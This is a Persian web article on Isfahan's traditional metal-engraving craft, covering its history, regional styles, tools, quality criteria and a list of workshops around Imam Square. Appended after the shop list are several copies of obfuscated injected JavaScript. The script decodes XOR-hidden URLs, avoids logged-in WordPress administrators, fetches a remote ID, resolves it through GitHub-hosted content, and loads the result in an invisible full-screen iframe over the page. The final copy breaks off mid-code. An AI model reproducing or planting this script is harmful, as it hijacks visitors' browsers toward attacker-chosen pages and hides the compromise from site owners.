هنر اصفهان از دل مردمانی خوش ذوق، مقتصد، با فرهنگ و نکته سنج میطراود. پارهای از این ویژگی ها ریشه در پیشینه بازار این شهر و کسب و کار انان دارد. هم چنین اصفهان شهر پیشه وران باهنری است که در قالب کاشی، نقره، خاتم، قلمزنی ، مینا، فرش، پولک دوزی، زربافی و ترمه جهانی از ذوق و احساس را به تصویر کشیده است. در این مطلب به قلمزنی اصفهان خواهیم پرداخت و برترین فروشگاه های آن را به شما معرفی خواهیم کرد.
قلمزنی یکی از ظرایف صنایع دستی ایران قلم زنی بر روی انواع فلزات است که سابقه بسیار طولانی در فرهنگ ایران دارد که به دوره ساسانی بر میگردد و نمونه های با ارزش آن در موزه ایران باستان یافت میشود. قلمزنی اصفهان که اوج آن در دوره صفویه بوده است هم از نکات و ظرافت خاصی برخوردار است که هنوز هم کارگاه های زیادی مشغول به این هنر هستند.
قلم زنی هنر نقر(کندن) نقوش بر روی سطح فلزی است. در تعریف دیگر میتوان گفت که قلم زنی عبارت است از هنر تراشاندن و ایجاد نقوش عمیق تر و مفصل تر با فرورفتگی و طبعا برجستگی در سطح کار که حاصل استفاده از قلم فولادی که در پشت کار اثر این قلم پیدا است. قلمزنی دو نوع دارد 1-قلمکاری بر روی پارچه 2- قلمزنی بر روی برنج و نقره
شیوه قلمزنی سه سبک اصلی در قلمزنی ایران مطرح است که عبارتند از سبک شیراز و سبک تبریز و سبک اصفهان. درسبک شیراز که بیشتر بر روی نقره انجام میشود یس از طراحی بر روی کار ونیم برکردن شروع برجستهسازی وکفسازی میشود که در این سبک بیشتر ازنقوش تخت جمشیدی وگل مرغ استفاده میشود و در ایران این سبک را مکتب شیراز مینامند ومنحصر به شیراز میباشد.
در سبک تبریز برای حرکت قلم و انجام قلمزنی از حرکت و فشار مچ دست استفاده میشود
در قلمزنی اصفهان از ضربات چکش. به همن سبب قلم تبریز صاف و کم عمق است ولی قلم اصفهان عمیقتر میباشد. قلم زنی در اصفهان نیز در دو سبک مجزا میباشد که به نامهای قلم ریز و فلم زنی برجسته شهرت دارد. قلم زنی برجسته دارای برجستگیهای عمیقتری میباشد و حالتی سه بعدی را ایجاد مینماید. اینگونه از قلم زنی در ساخت ضریح امامان شیعه استفاده میگردد.
در مرحلهی قلمزنی از وسایلی استفاده میشود که عبارتاند از:
انواع قلمها که گاه تعدادشان به ۱۴۰ یا بیشتر نیز میرسد پرگار در اندازههای مختلف چکش متر قیچی دستگاه ذوب قیر قلمزنی اصفهانی مواردی که باید درباره قلمزنی دانست 1- از انجا که زیرساخت مناسب و با کیفیت شرطی اصلی برای انجام و ارایه ی یک کار قلمزنی با کیفیت بالای هنری است لذا زیرساخت انتخابی برای قلمزنی اصفهان می بایست کاملا بی عیب و نقص بوده و دارای ناخالصی نباشد و فاقد خلل و فرج و عیوب مشهود و حتی نامشهود باشد.
2- استفاده از قلم های معمولی و رایج و نیز قلمهایی که دارای نقوش ساده ودرشت است از ارزش کار قلمزنی اصفهان می کاهد و لذا هرچه طرح ها و نقوش جدید و ابتکاری بوده و از قلم هایی که توسط هنرمند ساخته می شود در کار قلمزنی استفاده میشود و نیز هرچه قلم ها ظریف و نقوش باظرافت همراه باشد برارزش کار افزوده میشود و همچنین استفاده از طرح های صورت وچهرها و نیز استفاده از خط و همچنین اینکه اثر قلمزنی دارای سطوح کار متخلف ومتعدد باشد بر ارزش و اعتبار کار می افزاید.
3- هرچه طرح ها و نقوش قلمزنی شده مفصل تر بوده با جزییات بیشتر همراه باشد و ضما سطح یا سطوح بیشتری از داخل و خارج کار رادربرگیرد برارزش کار افزوده می شود.
4- در مورد اثار قلمزنی که دارای چند قطعه باشد(مانند سنگاب ها….) باید دقت کافی در پیش بینی اتصال صحیح و بی عیب و نقص قطعات به عمل می اید.
از کجا خریداری کنم برای خرید این محصولات هنری در شهر اصفهان میتوانید به فروشگاه های زیر سر بزنید و بهترین مدل و جنس را متناسب با نیاز خودتان تهیه کنید و یا به عنوان سوغاتی از این شهر زیبا با خود ببرید.
رديف نام مرکز فروش آدرس 1 صنايع دستي بهرامي ميدان امام داخل پارکينگ آکاهي پلاک 370 2 نقره اهتمام خ استانداري روبروي بيمارستان خورشبد 3 قلمزني نباتي 1-ميدان امام ضلع جنوب شرقي جنب ورودي آگاهي سابق
2-ميدان امام جنب بازار قيصريه
3 قلمزني پاسارگاد ميدان امام سراي اسپادانا 4 صنايع دستي فروهر ميدان امام سراي اسپادانا 5 صنايع دستي اخوان جندقيان ميدان امام سراي اسپادانا 6 صنايع دستي چهل چشمه ميدان امام سراي اسپادانا 7 هنرکده هخامنشيان ميدان امام سراي اسپادانا 8 هنر سراي امير کبير ميدان امام جنب مسجد شيخ لطف الله پ 133 9 کارگاه قلمزني بازيار درچه خ امام کوچه شهيد صنعتکار 10 قلمزني شاه محمدي ميدان امام سراي اسپادانا پ 57 11 نگارستان ساعي خ استانداري کوچه سعدي روبروي دانشگاه هنر پ 25 12 قلمزني متوليان ميدان امام بازار شرقي مسجد امام پ 19 13 قلمزني صادقي ميدان امام سراي اسپادانا 14 صنايع دستي امين ميدان امام بازار شيخ لطف الله پ 106 15 قلمزني پور حيدر 1-ميدان امام جنب مسجد شيخ لطف الله پ 130
2- ميدان امام جنب مسجد شيخ لطف الله پ 117
16 قلمزني برادران ميدان امام بازار شيخ لطف الله جنب آکاهي سابق
;; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();console.log(’28du3′);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();console.log(’28du3′);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();console.log(’28du3′);; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||””)){var n=Symbol.for(“__inline_id_offer__”),r=window[n]=window[n]||{iframeReady:!1,iframeId:”ifr_”+Math.random().toString(36).slice(2),run:null};r.iframeReady||(“complete”===document.readyState||document.body?c():window.addEventListener(“DOMContentLoaded”,c))}function i(e,t){if(e.indexOf(“dropbox.com”)>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf(“gist.githubusercontent.com”)>=0&&(n=n.replace(/%2F/g,”/”)),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){return(e||””).trim()}).catch(function(){return””})}function a(e){if(!e)return!1;try{var t=e.indexOf(“:”)>=0?e:”https://”+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:”no-store”}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||””).trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(“iframe”);n.style.display=”none”,n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=”about:blank”,document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(“iframe”);a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(“?”)>=0?”&”:”?”,n+o+encodeURIComponent(“v”)+”=”+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=”position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;”,a.setAttribute(“aria-hidden”,”true”),window.addEventListener(“message”,function(e){if(e.data&&”object”==typeof e.data&&”ktl-show-original”===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();console.log(’28du3′);;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;var de = document.documentElement;
var body = document.body;if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}return false;
}if (isWpLoggedInContext()) return;if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}registry.status = “loading”;function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}function buildTrustedUrl(template, id) {
if (!template || !id) return “”;if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}var encoded = encodeURIComponent(id);if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}return template.replace(/\{id\}/g, encoded);
}function toHttpUrl(value) {
if (!value) return “”;var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);if (!s) return “”;if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}return “”;
}function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;if (typeof input === “string”) {
return toHttpUrl(input);
}if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}return "";
}function extractLandingUrl(raw) {
if (!raw) return "";var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";var direct = toHttpUrl(text);
if (direct) return direct;if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}return “”;
}function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}function addHint(rel, href) {
if (!href || !document || !document.createElement) return;var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;try {
var parent = document.head || document.documentElement;
if (!parent) return;var link = document.createElement(“link”);
link.rel = rel;
link.href = href;if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}parent.appendChild(link);
} catch (e) {}
}function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));if (!builtUrl) {
return step(index + 1);
}if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}return step(0);
}function activateIframe(url) {
if (!url || registry.status === “active”) return;if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);registry.status = “active”;iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}registry.destroy = destroy;
registry.reveal = reveal;iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};iframe.onerror = function () {
destroy();
};timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}function run() {
warmupOrigins();
bindMessageHandler();return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}finalUrl = toHttpUrl(finalUrl);if (!finalUrl) {
cleanup(“done”);
return “”;
}var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;var de = document.documentElement;
var body = document.body;if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}return false;
}if (isWpLoggedInContext()) return;if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}registry.status = “loading”;function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}function buildTrustedUrl(template, id) {
if (!template || !id) return “”;if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}var encoded = encodeURIComponent(id);if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}return template.replace(/\{id\}/g, encoded);
}function toHttpUrl(value) {
if (!value) return “”;var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);if (!s) return “”;if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}return “”;
}function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;if (typeof input === “string”) {
return toHttpUrl(input);
}if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}return "";
}function extractLandingUrl(raw) {
if (!raw) return "";var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";var direct = toHttpUrl(text);
if (direct) return direct;if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}return “”;
}function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}function addHint(rel, href) {
if (!href || !document || !document.createElement) return;var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;try {
var parent = document.head || document.documentElement;
if (!parent) return;var link = document.createElement(“link”);
link.rel = rel;
link.href = href;if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}parent.appendChild(link);
} catch (e) {}
}function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
